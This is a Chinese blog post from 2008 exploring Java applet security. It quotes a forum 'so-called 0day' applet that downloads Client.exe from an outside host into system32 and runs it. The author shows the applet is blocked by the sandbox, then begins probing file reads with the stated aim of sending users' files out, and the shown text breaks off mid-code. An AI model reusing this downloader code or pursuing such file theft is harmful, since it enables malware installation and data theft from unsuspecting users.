{"id":122,"date":"2008-08-08T09:48:19","date_gmt":"2008-08-08T09:48:19","guid":{"rendered":""},"modified":"2011-04-25T08:40:10","modified_gmt":"2011-04-25T08:40:10","slug":"java-applet-%e5%ae%89%e5%85%a8%e6%80%a7%e6%8e%a2%e7%a9%b6","status":"publish","type":"post","link":"https:\/\/www.inbreak.net\/archives\/122.html","title":{"rendered":"Java applet \u5b89\u5168\u6027\u63a2\u7a76"},"content":{"rendered":"<p>\u4f5c\u8005\uff1a\u7a7a\u865a\u6d6a\u5b50\u5fc3\u3010XGC\u3011<\/p>\n<p>\u3000\u3000<strong>\u3010IT168\u4e13\u7a3f\u3011<\/strong><strong>\u5f15\u8a00<\/strong><\/p>\n<p>\u3000\u3000\u56e0\u4e3a\u4e00\u4e2a0day\uff0c\u8ba9\u4f5c\u8005\u5bf9java applet\u5fc3\u8840\u6765\u6f6e\uff0c\u968f\u7740\u4e0d\u65ad\u7684\u5931\u8d25\uff0c\u53d1\u73b0\u4e86\u4e00\u4e2a\u53c8\u4e00\u4e2a\u5b89\u5168\u7279\u6027\u3002\u672c\u6587\u63d0\u9192\u5927\u5bb6\uff0c\u9664\u4e86activeX\uff0c\u8fd8\u6709\u8fd9\u4e48\u4e00\u79cd\u4e1c\u897f\uff0c\u4e00\u65e6\u51fa\u73b0\u4e86\u5b89\u5168\u9690\u60a3\uff0c\u4e5f\u4f1a\u5e2e\u5927\u5bb6\u505a\u4e9b\u4ec0\u4e48\u3002\u5982\u679c\u4f60\u8981\u627e&ldquo;0DAY&rdquo;\uff0c\u8bf7\u63a0\u8fc7;\u5982\u679c\u4f60\u8981\u627e&ldquo;\u5982\u4f55\u4f7f\u7528APPLET\u4e0b\u8f7d\u6728\u9a6c&rdquo;\uff0c\u8bf7\u770b\u4e0b\u96c6;\u5982\u679c\u4f60\u559c\u6b22\u7814\u7a76&ldquo;applet\u53ef\u80fd\u5b58\u5728\u7684\u5b89\u5168\u9690\u60a3 &rdquo;\uff0c\u8bf7\u4ece\u8fd9\u91cc\u5f00\u59cb\u3002<\/p>\n<p>\u3000\u3000<strong>\u7b2c\u4e00\u90e8\u5206 \u4e00\u4e2a&ldquo;0day&rdquo;\u72c2\u60f3<\/strong><\/p>\n<p>\u3000\u3000\u6700\u8fd1\u5e38\u542c\u89c1\u6709\u670b\u53cb\u8bf4&ldquo;\u53ea\u6709\u8de8\u7ad9\u6267\u884c\u811a\u672c\u624d\u662f\u738b\u9053&rdquo;\uff0c\u4f46\u662f\u6211\u60f3\uff0c\u6bcf\u4e00\u95e8\u827a\u672f(\u6280\u672f)\uff0c\u90fd\u6709\u81ea\u5df1\u7684\u72ec\u5230\u7684\u7f8e(\u7279\u6027)\uff0c\u5c31\u50cf\u540e\u95e8\u9664\u4e86\u4f7f\u7528&ldquo;\u7279\u6d1b\u4f0a&rdquo;\uff0c\u8fd8\u6709\u53ef\u4ee5\u7528\u5f88\u591a\u5fae\u5c0f\u7684\u9014\u5f84\uff0c\u62fc\u5408\u8d77\u6765\uff0c\u5c31\u53ef\u80fd\u8fbe\u5230\u6bd4\u5b83\u66f4\u52a0\u5b8c\u7f8e\u7684\u6548\u679c\u3002<\/p>\n<p>\u3000\u3000\u8bba\u575b\u4e0a\u67d0\u5e16\u53d1\u51fa\u4e00\u7bc7\u901a\u6740FF\u548cIE\u76840DAY\u4ee3\u7801\uff1a<\/p>\n<div class=\"codeText\">\n<div class=\"codeHead\">Java\u4ee3\u7801<\/div>\n<ol class=\"dp-j\">\n<li class=\"alt\"><span><span>Import&nbsp;java.applet.Applet;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"comment\">\/\/\u52a0\u8f7dapplet\u5305<\/span><span>&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u7701\u7565&nbsp;&nbsp;<\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;<\/span><\/li>\n<li class=\"\"><span><span class=\"keyword\">public<\/span><span>&nbsp;<\/span><span class=\"keyword\">class<\/span><span>&nbsp;Client&nbsp;<\/span><span class=\"keyword\">extends<\/span><span>&nbsp;Applet&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"comment\">\/\/\u7ee7\u627fapplet<\/span><span>&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>{&nbsp;&nbsp;<\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"keyword\">public<\/span><span>&nbsp;<\/span><span class=\"keyword\">void<\/span><span>&nbsp;start()&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"comment\">\/\/\u91cd\u5199applet\u7684\u4e3b\u8981\u65b9\u6cd5<\/span><span>&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;<\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u7701\u7565&nbsp;&nbsp;<\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println(&ldquo;aaa&rdquo;);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"comment\">\/\/\u5982\u679c\u8fdb\u5165\u4e86\u8fd9\u4e2a\u65b9\u6cd5\uff0c\u4f1a\u6253\u5370&ldquo;aaa&rdquo;<\/span><span>&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;URL&nbsp;url&nbsp;=&nbsp;<span class=\"keyword\">new<\/span><span>&nbsp;URL(<\/span><span class=\"string\">&quot;http:\/\/www.blackhathackerz.com\/applet\/Client.exe&quot;<\/span><span>);&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"comment\">\/\/\u697c\u4e0a\u4ee3\u7801\uff0c\u5b9a\u4e49\u4e86\u8981\u4ece\u8fd9\u4e2a\u5730\u5740\u4e2d\u62ff\u6587\u4ef6\u3002<\/span><span>&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>bufferedoutputstream=newBufferedOutputStream(<span class=\"keyword\">new<\/span><span>&nbsp;FileOutputStream(<\/span><span class=\"string\">&quot;C:\\\\windows\\\\system32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u697c\u4e0a\u628a\u62ff\u4e0b\u6765\u7684\u6587\u4ef6\u653e\u5230system32\u4e0b<\/span>&nbsp;<\/span><\/li>\n<li class=\"alt\"><span><span class=\"string\">\\\\Client.exe&quot;<\/span><span>));&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;URLConnection&nbsp;urlconnection&nbsp;=&nbsp;url.openConnection();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"comment\">\/\/\u6253\u5f00SOCKET\u94fe\u63a5<\/span><span>&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inputstream&nbsp;=&nbsp;urlconnection.getInputStream();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"comment\">\/\/\u53d6\u5f97\u6587\u4ef6\u7684\u6d41<\/span><span>&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"keyword\">byte<\/span><span>&nbsp;abyte0[]&nbsp;=&nbsp;<\/span><span class=\"keyword\">new<\/span><span>&nbsp;<\/span><span class=\"keyword\">byte<\/span><span>[<\/span><span class=\"number\">1024<\/span><span>];&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"keyword\">int<\/span><span>&nbsp;i;&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"keyword\">for<\/span><span>(<\/span><span class=\"keyword\">long<\/span><span>&nbsp;l&nbsp;=&nbsp;0L;&nbsp;(i&nbsp;=&nbsp;inputstream.read(abyte0))&nbsp;!=&nbsp;&#8211;<\/span><span class=\"number\">1<\/span><span>;&nbsp;l&nbsp;+=&nbsp;i)&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bufferedoutputstream.write(abyte0,&nbsp;<span class=\"number\">0<\/span><span>,&nbsp;i);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"comment\">\/\/\u628a\u6587\u4ef6\u5199\u5165<\/span><span>&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u7701\u7565&nbsp;&nbsp;<\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Runtime&nbsp;runtime&nbsp;=&nbsp;Runtime.getRuntime();&nbsp;&nbsp;<\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"keyword\">try<\/span><span>&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;<\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Process&nbsp;process&nbsp;=&nbsp;runtime.exec(<span class=\"string\">&quot;C:\\\\windows\\\\system32\\\\Client.exe&quot;<\/span><span>);&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"comment\">\/\/\u697c\u4e0a\u8981\u53bb\u6267\u884c\u6587\u4ef6<\/span><span>&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u7701\u7565&nbsp;&nbsp;<\/span><\/li>\n<\/ol>\n<\/div>\n<p>&nbsp;<\/p>\n<p>\u3000\u3000\u8bf4\u5b9e\u8bdd\uff0c\u521a\u62ff\u5230\u4ee3\u7801\u65f6\u5f88\u5174\u594b\uff0c\u770b\u8d77\u6765\u53ea\u8981\u7528\u6237\u53ea\u8981\u6d4f\u89c8applet\u7684\u9875\u9762\uff0c\u5c31\u53ef\u4ee5\u81ea\u52a8\u6267\u884cJAVA(applet)\uff0c\u5728\u7528\u6237\u7684\u673a\u5668\u4e0a\u4e71\u5199\u4e71\u753b\u3002\u8fd9\u662f\u591a\u4e48\u7f8e\u5999\u7684\u4e8b\u60c5\u554a\uff0c\u53ea\u8981\u7528\u6237\u88c5\u4e86jre\uff0c\u5c31\u5b8c\u86cb\u4e86\u3002\u4e8e\u662f\u8ddf\u8d34\u53d1\u8868\u8bc4\u8bba\uff0c\u89e3\u8bfb\u8fd9\u6bb5\u4ee3\u7801\u7684\u542b\u4e49\uff0c\u751a\u81f3\u8fd8\u53d1\u8868\u4e86\u6539\u8fdb\u7684\u770b\u6cd5\u3002\u4f46\u662f\u7b49\u670b\u53cb\u8ba9\u6211\u5199\u51fa\u6539\u8fdb\u7684\u4ee3\u7801\uff0c\u624d\u5728\u4e0d\u65ad\u7684\u5b9e\u8df5\u4e2d\u53d1\u73b0\u81ea\u5df1\u7684\u56de\u5e16\u5b8c\u5168\u662f\u7eb8\u4e0a\u8c08\u5175\u3002<\/p>\n<p>\u3000\u3000Java applet\u53ef\u4ee5\u7528\u6765\u70b9\u7f00html\u7684\u9875\u9762\uff0c\u8ba9\u5b83\u66f4\u52a0\u82b1\u54e8\uff0c\u66f4\u52a0\u5438\u5f15MM\u7684\u76ee\u5149\u3002\u67d0\u79cd\u7a0b\u5ea6\u4e0a\uff0c\u5b83\u548c\u5fae\u8f6f\u7684activeX\u662f\u4e00\u4e2a\u7ea7\u522b\u7684\uff0c\u90fd\u662f\u7528\u6765\u6269\u5c55HTML \u6548\u679c\u3002\u5982\u679c\u641c\u7d22&ldquo;java applet&rdquo;\uff0c\u53ef\u80fd\u4f1a\u641c\u7d22\u5230\u300ajava applet\u5411activeX\u4e0b\u8dea\u300b\u8fd9\u7bc7\u6587\u7ae0\uff0capplet\u66fe\u7ecf\u98ce\u5149\u4e00\u65f6\uff0c\u540e\u6765\u88ab\u5fae\u8f6f\u7684activeX\u5784\u65ad\u3002\u4f46\u662f\u6bd5\u7adf\u529f\u80fd\u8fd8\u5728\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u503c\u5f97\u63a2\u7a76\u7684\u5b89\u5168\u6027\u56e0\u7d20\u8fd8\u5728\u3002\u867d\u7136\u5fc5\u987b\u8981\u5b89\u88c5JRE\u73af\u5883\u624d\u53ef\u4ee5\u6267\u884c\uff0c\u4f46\u662f\u6bd5\u7adf\u53ef\u4ee5&ldquo;\u7978\u5bb3\u4e00\u90e8\u5206\u4eba&rdquo;\uff0c\u968f\u7740sun\u7684&ldquo;\u8fdb\u4e00\u6b65\u6218\u7565&rdquo;\uff0c\u4e5f\u8bb8\u8fd9\u4e2a\u5bb6\u4f19\u6709\u4e00\u5929\u8fd8\u4f1a\u5192\u51fa\u6765\u3002<\/p>\n<p>\u3000\u3000\u5728\u7f51\u4e0a\u627e\u4e86applet\u5b89\u5168\u7684\u6587\u7ae0\uff0c\u4e5f\u5c31\u90a3\u4e48\u53ef\u601c\u516e\u516e\u7684\u51e0\u7bc7\u3002\u5927\u6982\u5185\u5bb9\u90fd\u662f\u5148\u5217\u4e3e\u4e86\u4ed6\u7684\u5199\u6587\u4ef6\u4ee3\u7801\uff0c\u7136\u540e\u544a\u8bc9\u8bfb\u8005\u8fd9\u4e9b\u5371\u9669\u52a8\u4f5c\u9ed8\u8ba4\u662f\u4e0d\u53ef\u505a\u7684\uff0c\u53ea\u6709\u7528\u6237\u540c\u610f\u4e86\u5b89\u5168\u8bc1\u4e66\uff0c\u624d\u4f1a\u5728\u7528\u6237\u7684policy\u91cc\u52a0\u5165&ldquo;\u8bfb\uff0c\u5199\uff0c\u6267\u884c&rdquo;\u7b49\u6743\u9650\u3002\u4f46\u662f\u4f60\u5982\u679c\u771f\u7684\u5728\u95ee\u7528\u6237&ldquo;\u563f!\u54e5\u4eec\u513f\uff0c\u54b1\u6709\u4e2a\u4e1c\u897f\uff0c\u4f60\u5148\u70b9\u540c\u610f\uff0c\u540c\u610f\u6211\u5728\u54e5\u4eec\u513f\u8138\u4e0a\u5199\u70b9\u4e1c\u897f\uff0c\u540c\u610f\u6211\u770b\u770b\u54e5\u4eec\u513f\u6697\u604b\u7684MM\uff0c\u540c\u610f\u6211\u63a7\u5236\u54e5\u4eec\u513f\u51e0\u5929\uff0c\u540c\u610f\u3002\u3002\u3002\u3002&rdquo;\u3002\u4f5c\u8005\u6ca1\u90a3\u4e48\u6df1\u7684\u9493\u9c7c\u529f\u529b\u8ba9\u7528\u6237\u7b7e\u8ba2\u4e0d\u5e73\u7b49\u6761\u7ea6\uff0c\u6240\u4ee5\uff0c\u672c\u6587\u5c31\u4e0d\u63a2\u8ba8\u5f53\u7528\u6237\u7b7e\u8ba2\u5b89\u5168\u8bc1\u4e66\u540e\u53d1\u751f\u7684\u5b89\u5168\u9690\u60a3\u4e86\uff0c\u56e0\u4e3a\u90a3\u771f\u7684\u7b49\u4e8e\u8ba9\u7528\u6237\u4f7f\u7528\u6700\u9ad8\u6743\u9650\u6267\u884c\u4e00\u6bb5\u4e0d\u53ef\u9884\u77e5\u7684\u4ee3\u7801\u3002<\/p>\n<p>\u3000\u3000\u8981\u7814\u7a76applet\u7684\u5b89\u5168\uff0c\u9996\u5148\u8981\u6253\u5f00\u6d4f\u89c8\u5668(IE\uff0cFF)\uff0c\u5de5\u5177&#8211;?SUN java\u63a7\u5236\u53f0\uff0c\u53f3\u4e0b\u89d2\u4f1a\u51fa\u73b0\u5192\u706b\u7684\u5496\u5561\uff0c\u53f3\u952e\u9009\u62e9&ldquo;\u6253\u5f00\u63a7\u5236\u9762\u677f&rdquo;\uff0c\u6253\u5f00&ldquo;\u9ad8\u7ea7&rdquo;\u9009\u9879\u5361\uff0c\u9009\u4e2d&ldquo;\u8c03\u8bd5&rdquo;\u91cc\u7684\u52fe\u3002<\/p>\n<p><a href=\"\/wp-content\/uploads\/date_200808\/ac8bc24f5def2f60f1d5e968cf29c780.jpg\" target=\"_blank\"><img decoding=\"async\" src=\"\/wp-content\/uploads\/date_200808\/ac8bc24f5def2f60f1d5e968cf29c780.jpg\" alt=\"1.jpg\"  class=\"alignnone size-full wp-image-122\" \/><\/a><\/p>\n<p>\u3000\u3000\u9009\u62e9\u4e4b\u540e\uff0c\u5728\u6bcf\u6b21\u6d4f\u89c8applet\u9875\u9762\u65f6\uff0c\u4f1a\u770b\u5230\u63a7\u5236\u53f0\u4e0a\u4f1a\u51fa\u73b0\u6bcf\u4e00\u6b65\u7684\u7a0b\u5e8f\u6267\u884c\u4fe1\u606f\uff0c\u4fbf\u4e8e\u6211\u4eec\u77e5\u9053\u53d1\u751f\u7684\u5f02\u5e38\u548c\u7a0b\u5e8f\u8fd0\u884c\u7ed3\u679c\u3002<\/p>\n<p>\u3000\u3000\u56de\u5934\u770b\u770b\u8fd9\u6bb5&ldquo;0day&rdquo;\u4ee3\u7801\u7684\u6267\u884c\uff0c\u6211\u4e3a\u4ec0\u4e48\u4f1a\u8bf4&ldquo;\u7eb8\u4e0a\u8c08\u5175&rdquo;\u5462\uff1f\u5206\u6790&ldquo;0day&rdquo;\u7684\u6267\u884c\u987a\u5e8f\uff1a&ldquo;\u65b0\u5efa\u6587\u4ef6&#8211;\u5229\u7528HTTP\u534f\u8bae\u53d6\u6587\u4ef6&#8211;\u628a\u53d6\u5f97\u7684\u6587\u4ef6\u5185\u5bb9\u5199\u5165\u65b0\u5efa\u7684\u6587\u4ef6&#8211;\u6267\u884c\u8be5\u6587\u4ef6&rdquo;\u3002\u597d\u54c7\uff01\u6574\u4e2a\u5c31\u662f\u4e00\u4e2a\u4e0b\u8f7d\u8005\u7ecf\u5178\u6d41\u7a0b\u3002\u770b\u770b\u6211\u4eec\u6267\u884c\u540e\u7684\u63a7\u5236\u53f0\u4fe1\u606f\u5427\u3002<\/p>\n<p><a href=\"\/wp-content\/uploads\/date_200808\/9704d01565062fdb57cd574289d0533f.jpg\" target=\"_blank\"><img decoding=\"async\" src=\"\/wp-content\/uploads\/date_200808\/9704d01565062fdb57cd574289d0533f.jpg\" alt=\"2.jpg\"  class=\"alignnone size-full wp-image-122\" \/><\/a><\/p>\n<p>\u3000\u3000\u6267\u884c\u8fc7\u7a0b\u5f88\u660e\u786e\uff0c\u6253\u5370\u51fa\u4e86&ldquo;aaa&rdquo;\uff0c\u8bf4\u660e\u4ee3\u7801\u6267\u884c\u8fdb\u5165\u4e86start\u65b9\u6cd5\u91cc\u3002Applet\u7684\u6267\u884c\u987a\u5e8f\u4e3a&ldquo;\u521d\u59cb\u5316\u7c7b(\u6784\u9020\u65b9\u6cd5)&#8211;\u8c03\u7528init \u65b9\u6cd5&mdash;\u8c03\u7528start\u65b9\u6cd5&#8211;\u3002\u3002\u3002\u3002\u3002&rdquo;\uff0c\u4f60\u53ef\u4ee5\u8ba4\u4e3a\u53ea\u8981\u4ee3\u7801\u5199\u5728start\u91cc\uff0c\u5c31\u4f1a\u6267\u884c\u3002\u8fd9\u4e9b\u90fd\u662f\u7531\u6d4f\u89c8\u5668\u6267\u884c\u7684\uff0c\u6211\u4eec\u7684\u627e\u832c\u8303\u56f4\uff0c\u5c31\u662f\u5f53\u6d4f\u89c8\u5668\u6267\u884c\u8fd9\u4e9b\u4ee3\u7801\u7684\u540c\u65f6\uff1a\u6709\u6ca1\u6709\u5ffd\u7565\u4ec0\u4e48\u3001\u8fd8\u80fd\u505a\u4ec0\u4e48\u3001\u5728\u505a\u4ec0\u4e48\u7684\u540c\u65f6\u4f1a\u4e0d\u4f1a\u89e6\u53d1\u4ec0\u4e48\u3002\u770b\u8fd9\u91cc\u7684\u4fe1\u606f\uff0c\u5e76\u6ca1\u6709\u53bb\u90a3\u4e2aURL\u5730\u5740\u62ffEXE\u6587\u4ef6\uff0c\u53cd\u800c\u5230\u4e86aaa\u5c31\u7ed3\u675f\u4e86\uff0c\u662f\u56e0\u4e3a\u7a0b\u5e8f\u91cc\u6293\u4e86\u5f02\u5e38\uff0c\u4f46\u662f\u6545\u610f\u4e0d\u505a\u5904\u7406\u3002\u4fee\u6539\u4ee3\u7801\uff0c\u6253\u5370\u5f02\u5e38\u4fe1\u606f\u5230\u63a7\u5236\u53f0\u3002\u7ee7\u7eed\u6267\u884c\u3002<\/p>\n<p>\u3000\u3000\u9664\u4e86\u4e0a\u9762\u7684\u4fe1\u606f\u5916\uff0c\u53c8\u6253\u5370\u4e86<\/p>\n<div class=\"codeText\">\n<div class=\"codeHead\">Java\u4ee3\u7801<\/div>\n<ol class=\"dp-j\">\n<li class=\"alt\"><span><span>java.security.AccessControlException:&nbsp;access&nbsp;denied&nbsp;(java.io.FilePermission&nbsp;C:\\windows\\system32\\Client.exe&nbsp;write)&nbsp;&nbsp;<\/span><\/span><\/li>\n<\/ol>\n<\/div>\n<p>\u3000\u3000\u539f\u6765\uff0c\u5728\u6267\u884c<\/p>\n<div class=\"codeText\">\n<div class=\"codeHead\">Java\u4ee3\u7801<\/div>\n<ol class=\"dp-j\">\n<li class=\"alt\"><span><span>bufferedoutputstream&nbsp;=&nbsp;<\/span><span class=\"keyword\">new<\/span><span>&nbsp;BufferedOutputStream(<\/span><span class=\"keyword\">new<\/span><span>&nbsp;FileOutputStream(<\/span><span class=\"string\">&quot;C:\\\\windows\\\\system32\\\\Client.exe&quot;<\/span><span>));&nbsp;&nbsp;<\/span><\/span><\/li>\n<\/ol>\n<\/div>\n<p>\u65f6\uff0c\u53d1\u751f\u4e86\u5b89\u5168\u5f02\u5e38\uff0c\u4e0d\u5141\u8bb8\u65b0\u5efa\u6587\u4ef6&ldquo;C:\\windows\\system32\\Client.exe&rdquo;\u3002\u597d\u4e86\uff0c\u8fde\u8fd9\u4e2a\u65b0\u5efa\u6587\u4ef6\u7684\u6743\u9650\u90fd\u6ca1\u6709\uff0c\u8fd8\u8c08\u4ec0\u4e48\u53bb\u6267\u884c\u5b83\u3002\u5f88\u663e\u7136\uff0c\u8fd9\u6bb5\u4ee3\u7801\u5355\u7eaf\u7684\u6267\u884c\u5e76\u4e0d\u80fd\u8fbe\u5230&ldquo;0day&rdquo;\u7684\u6548\u679c\uff0c\u53ef\u80fd\u6709\u4e9b\u89e6\u53d1\u6761\u4ef6\u6ca1\u6709\u88ab\u8d34\u51fa\u6765\u5427\uff0c\u5b83\u53ea\u80fd\u7b97\u662f\u4e00\u6bb5shellcode\u7f62\u4e86\u3002 &ldquo;0day&rdquo;\u68a6\u60f3\u6682\u65f6\u7ed3\u675f\u3002\u90a3\uff0c\u4e0d\u80fd\u65b0\u5efa\u6587\u4ef6\u4e5f\u53ef\u4ee5\uff0c\u5982\u679c\u80fd\u628a\u7528\u6237\u4e2a\u4eba\u7535\u8111\u7684\u6587\u4ef6\u5077\u5077\u53d1\u51fa\u53bb\uff0c\u4e5f\u662f\u4e2a\u4e0d\u9519\u7684\u9009\u62e9\u3002<\/p>\n<p>\u3000\u3000<strong>\u7b2c\u4e8c\u90e8\u5206 \u5c1d\u8bd5\u64cd\u4f5c\u6587\u4ef6<\/strong><\/p>\n<p>\u3000\u3000\u6240\u8c13\u7684\u5371\u9669\u6027\u64cd\u4f5c\uff0c\u5728applet\u7684\u6267\u884c\u73af\u5883\u4e0b\u53ef\u80fd\u53d1\u751f\u7684\u6709\uff1a<\/p>\n<p>\u3000\u3000\u8bfb\u6587\u4ef6<\/p>\n<p>\u3000\u3000\u5199\u6587\u4ef6<\/p>\n<p>\u3000\u3000\u6267\u884c<\/p>\n<p>\u3000\u3000\u8de8\u57df\u53d6\u4e1c\u897f<\/p>\n<p>\u3000\u3000\u8de8\u57df\u901a\u77e5<\/p>\n<p>\u3000\u3000\u8de8\u57df\u5efa\u7acbsocket\u94fe\u63a5<\/p>\n<p>\u3000\u3000\u8c03\u7528\u5916\u90e8\u5f15\u64ce(JDBC\u7b49)<\/p>\n<p>\u3000\u3000\u8c03\u7528APPLET\u5916\u7684JAVA\u4ee3\u7801<\/p>\n<p>\u3000\u3000\u63a7\u5236\u6d4f\u89c8\u5668\u505a\u4e00\u4e9b\u4e0d\u5408\u7406\u52a8\u4f5c<\/p>\n<p>\u3000\u3000\u7b49\u7b49\u3002<\/p>\n<p>\u3000\u3000\u53d1\u7528\u6237\u673a\u5668\u4e0a\u7684\u6587\u4ef6\u7ed9\u67d0\u4eba\uff0c\u4e0d\u9519\u7684\u60f3\u6cd5\uff0c\u4f46\u662f\u8fd9\u91cc\u6d89\u53ca\u4e24\u4e2a\u57fa\u672c\u6743\u9650\uff1a\u8bfb\u6587\u4ef6\uff0c\u4e0a\u4f20\u6587\u4ef6\u3002\u4e0a\u4e00\u7bc7\u91cc\uff0c\u56e0\u4e3a\u6743\u9650\u95ee\u9898\uff0c\u5199\u6587\u4ef6\u7684\u65f6\u5019\u65ad\u7535\u4e86\u3002\u8bd5\u60f3\u6bd5\u7adf\u662fJAVA\uff0c\u4e00\u95e8\u5e9e\u5927\u7684\u8bed\u8a00\uff0c\u771f\u7684\u65e0\u61c8\u53ef\u51fb\u4e48?\u8fd9\u6b21\u6211\u4eec\u8bfb\u4e2a\u4e1c\u897f\u8bd5\u8bd5\u3002<\/p>\n<p>\u3000\u3000Start\u4ee3\u7801\uff1a<\/p>\n<div class=\"codeText\">\n<div class=\"codeHead\">Java\u4ee3\u7801<\/div>\n<ol class=\"dp-j\">\n<li class=\"alt\"><span><span>File&nbsp;f&nbsp;=&nbsp;<\/span><span class=\"keyword\">new<\/span><span>&nbsp;File(<\/span><span class=\"string\">&quot;c:\/a.txt&quot;<\/span><span>);&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span><span class=\"keyword\">if<\/span><span>&nbsp;(f.exists())System.out.println(<\/span><span class=\"string\">&quot;\u53ef\u4ee5\u8bfb\u6492&quot;<\/span><span>);&nbsp;&nbsp;<\/span><\/span><\/li>\n<\/ol>\n<\/div>\n<p>\u3000\u3000\u63a7\u5236\u53f0\u6253\u5370\u51fa\uff1a<\/p>\n<div class=\"codeText\">\n<div class=\"codeHead\">Java\u4ee3\u7801<\/div>\n<ol class=\"dp-j\">\n<li 